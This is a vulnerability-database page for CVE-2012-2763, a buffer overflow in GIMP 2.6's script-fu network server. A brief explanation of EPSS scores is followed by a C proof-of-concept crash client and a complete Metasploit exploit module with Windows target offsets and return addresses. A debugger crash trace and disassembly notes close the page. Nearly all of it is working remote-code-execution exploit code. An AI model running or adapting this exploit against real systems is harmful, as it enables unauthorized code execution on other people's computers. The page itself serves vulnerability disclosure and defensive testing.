CVE-2012-2763 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* # There is a buffer overflow in the script-fu server component of GIMP # (the GNU Image Manipulation Program) in all 2.6 versions (Windows and Linux # versions) affecting both # the script-fu console and the script-fu network server. A crafted msg to the # script-fu server overflows a buffer and overwrites several function pointers # allowing the attacker to gain control of EIP and potentially execute # arbitrary # code. This issue is fixed in the latest, stable GIMP version (currently 2.8.0). # # CVE number: CVE-2012-2763 # Impact: high # Vendor Homepage: http://www.gimp.org/ # Date found: 18/05/2012 # Found by: d of Reaction Information Security # Homepage: http://www.reactionpenetrationtesting.co.uk ==== POC ==== */ //////////////////////////////////////////////////////////////// // // // PoC for GIMP <= 2.6 Script-Fu server buffer overflow // // Author: Joseph Sheridan // // Date: 20/05/2012 // // // // compile with cl scriptfubof.c /link wsock32.lib // //////////////////////////////////////////////////////////////// #define WIN32_LEAN_AND_MEAN #include <winsock2.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #define DEFAULT_PORT 10008 // TCP socket type #define DEFAULT_PROTO SOCK_STREAM void senddata(); void recvdata(); WSADATA wsaData; SOCKET conn_socket; char Buffer[2000000]; char inBuffer[128]; void Usage() { printf("Usage: scriptfubof servername portnumber\n"); fflush(stdout); exit(1); } int main(int argc, char *argv[]) { // default to localhost char *server_name= "localhost"; unsigned short port = DEFAULT_PORT; int i, loopcount, maxloop=-1; int retval; unsigned int addr; int socket_type = DEFAULT_PROTO; struct sockaddr_in server; if (argc < 3) { Usage(); } if ((retval = WSAStartup(0x202, &wsaData)) != 0) { fprintf(stderr,"WSAStartup() failed with error %d\n", retval); WSACleanup(); return -1; } // Get portnum port = atoi(argv[2]); memset(&server, 0, sizeof(server)); server.sin_addr.s_addr = inet_addr(argv[1]); server.sin_family = AF_INET; server.sin_port = htons(port); conn_socket = socket(AF_INET, socket_type, 0); /* Open a socket */ if (conn_socket <0 ) { fprintf(stderr,"Client: Error Opening socket: Error %d\n", WSAGetLastError()); WSACleanup(); return -1; } if (connect(conn_socket, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) { fprintf(stderr,"Client: connect() failed: %d\n", WSAGetLastError()); WSACleanup(); return -1; } // Send the data senddata(); // recieve a msg recvdata(); closesocket(conn_socket); WSACleanup(); return 0; } void senddata() { int loopcount = 0, retval =0; unsigned char command[]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; Buffer[0]='\x47'; //Magic byte 'G' Buffer[1]=sizeof(command)/256; //High byte of L - L div 256 Buffer[2]=sizeof(command)%256; //Low byte of L - L mod 256 strcpy(&Buffer[3],command); retval = send(conn_socket, Buffer, sizeof(command) +3, 0); if (retval == SOCKET_ERROR) { fprintf(stderr,"Client: send() failed: error %d.\n", WSAGetLastError()); WSACleanup(); return; } else printf("Client: send() is OK.\n"); printf("Client: Sent data \"%s\"\n", Buffer); } void recvdata() { int i=0; int retval=0; memset(inBuffer,0,128); retval = recv(conn_socket, inBuffer, 128, 0); printf("retval is :%d\n", retval); printf("first char is: %x\n", inBuffer[0]); if (retval == SOCKET_ERROR) { fprintf(stderr,"Client: recv() failed: error %d.\n", WSAGetLastError()); closesocket(conn_socket); WSACleanup(); return; } else { printf("Client: recv() is OK.\n"); // print the message contents... for (i=0;i<retval;i++) { printf("%c", inBuffer[i]); } printf("\n"); fflush(stdout); } }

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'GIMP script-fu Server Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the script-fu server component on GIMP <= 2.6.12. By sending a specially crafted packet, an attacker may be able to achieve remote code execution under the context of the user. This module has been tested on GIMP for Windows from installers provided by Jernej Simoncic. }, 'Author' => [ 'Joseph Sheridan', # Vulnerability Discovery and PoC 'juan vazquez' # Metasploit module ], 'Version' => '$Revision: $', 'References' => [ [ 'CVE', '2012-2763' ], [ 'OSVDB', '82429' ], [ 'BID', '53741' ], [ 'EDB', '18956' ], [ 'URL', 'http://www.reactionpenetrationtesting.co.uk/advisories/scriptfu-buffer-overflow-GIMP-2.6.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x09\x0a\x0d\x20\x28\x29\x3b" + (0x80..0xff).to_a.pack("C*"), 'DisableNops' => true, }, 'Platform' => 'win', 'Targets' => [ [ 'GIMP 2.6.10 (no DEP) / Windows XP SP3 / Windows 7 SP1', { 'Offset' => 1102, 'Ret' => 0x00425a52, 'BufferRegister' => 'EDX' } ], [ 'GIMP 2.6.1 (no DEP) / Windows XP SP3 / Windows 7 SP1', { 'Offset' => 1086, 'Ret' => 0x00425a22, 'BufferRegister' => 'EAX' } ] ], 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => 'May 18 2012')) register_options([Opt::RPORT(10008)], self.class) end def exploit connect payload.encoder.datastore.import_options_from_hash({ 'BufferRegister' => target['BufferRegister'] }) my_payload = payload.generate sploit = my_payload sploit << rand_text(target['Offset'] - my_payload.length) sploit << [target.ret].pack("V") pkt = "\x47" # Magic pkt << [sploit.length / 256].pack("C") # length_of_script_fu (high byte) pkt << [sploit.length % 256].pack("C") # length_of_script_fu (low byte) pkt << sploit print_status("Trying target #{target.name}...") sock.put(pkt) handler disconnect end end =begin * Crash example: 0:003> g (b2c.b28): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\GIMP-2.0\lib\gimp\2.0\plug-ins\script-fu.exe eax=00000000 ebx=0041e523 ecx=61616161 edx=61616161 esi=003ed200 edi=00000001 eip=61616161 esp=0022f87c ebp=0022f898 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 61616161 ?? ??? 0:000> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0022f878 0040c86f 00000000 0041e523 00000007 0x61616161 0022f898 0040c944 00000000 0041e523 00000007 script_fu+0xc86f 0022f8c8 004102fe 00420240 0041e523 0022f918 script_fu+0xc944 0022f918 0040e6ca 00420240 00000086 77c303ad script_fu+0x102fe 0022fb78 0040ea8e 00ff2c38 00f32df0 0022fba8 script_fu+0xe6ca 0022fba8 004087cf 00420240 00ff2c38 00989680 script_fu+0xea8e 0022fbc8 00407f8a 00ff2c38 00f32df0 00000000 script_fu+0x87cf 0022fe18 00408601 00f7a040 00000000 00000001 script_fu+0x7f8a *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\GIMP-2.0\bin\libgimp-2.0-0.dll - 0022fe78 6f4c304b 003ec238 00000001 003ec3c8 script_fu+0x8601 0022ff28 00401a81 0041b510 00000006 003e4878 libgimp_2_0_0!gimp_main+0x73b 0022ff58 004010db 00000006 003e4878 003e29e8 script_fu+0x1a81 0022ffa0 00401158 00000002 8061750d 7c90dc9c script_fu+0x10db *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 0022ffc0 7c817067 00017228 1474f685 7ffda000 script_fu+0x1158 0022fff0 00000000 00401140 00000000 78746341 kernel32!RegisterWaitForInputIdle+0x49 * Control is reached here: .text:0040C851 loc_40C851: ; CODE XREF: sub_40C830+19j .text:0040C851 test edx, edx .text:0040C853 jz short loc_40C84B .text:0040C855 mov ecx, ds:dword_420E24 .text:0040C85B mov [esp+18h+var_14], ebx .text:0040C85F mov [esp+18h+var_C], ecx .text:0040C863 mov [esp+18h+var_10], eax .text:0040C867 mov eax, [ebp+arg_0] .text:0040C86A mov [esp+18h+var_18], eax .text:0040C86D call edx ; dword_420E20 : Overwriting dword_420E20 allows to get EIP The overflow allows to overwrite function pointers stored in the .bss (unitialized global variables) 0:003> g Breakpoint 0 hit eax=00000000 ebx=0041e523 ecx=bfbfbf00 edx=42424242 esi=003ed200 edi=00000001 eip=0040c86d esp=0022f880 ebp=0022f898 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 script_fu+0xc86d: 0040c86d ffd2 call edx {42424242} =end